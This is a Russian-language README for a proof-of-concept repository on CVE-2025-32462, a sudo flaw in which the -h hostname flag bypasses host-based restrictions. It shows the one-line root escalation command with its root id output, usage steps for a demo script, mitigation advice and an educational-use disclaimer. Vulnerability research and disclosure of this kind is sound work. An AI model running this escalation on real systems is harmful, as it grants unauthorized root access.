CVE-2025-32462-Exploit: Побег Matrix-Sudo

Подмена имени хоста и повышение привилегий (CVE-2025-32462)

"Ты принимаешь синюю таблетку... история заканчивается. Ты принимаешь красную таблетку... ты получаешь root."

Описание

Этот эксплойт демонстрирует уязвимость повышения привилегий в sudo (CVE-2025-32462), где ограничения на основе имени хоста можно обойти с помощью флага -h. PoC создает среду ограниченного пользователя, затем выходит из нее, подменяя разрешенное имя хоста, чтобы получить root-доступ.

[user@matrix-node]$ sudo -h zion-core bash  # Подмена разрешенного имени хоста
[root@matrix-node]# id                          # Получили root на неправильном хосте!
uid=0(root) gid=0(root) groups=0(root)

Технические детали

• Уязвимые версии sudo: < 1.9.17
• Вектор атаки: локальное повышение привилегий
• Ключевая ошибка: обход проверки имени хоста через параметр sudo -h
• Влияние: ограниченные пользователи могут получить root на неправильно настроенных системах

Использование

Клонировать репозиторий:

git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape

Сделать исполняемым и запустить:

chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh

Следуйте интерактивным подсказкам для демонстрации:

• Обнаружение уязвимости CVE-2025-32462
• Создание пользователя
• Настройка ограничения по имени хоста
• Выполнение эксплойта
• Очистка

Защита

• ✅ Обновите sudo до версии v1.9.17+
• ✅ Избегайте ограничений sudo на основе имени хоста
• ✅ Вместо этого используйте политики sudo на основе групп

Правовая информация

Только для образовательных/исследовательских целей. Используйте только на системах, которыми вы владеете или имеете разрешение на тестирование.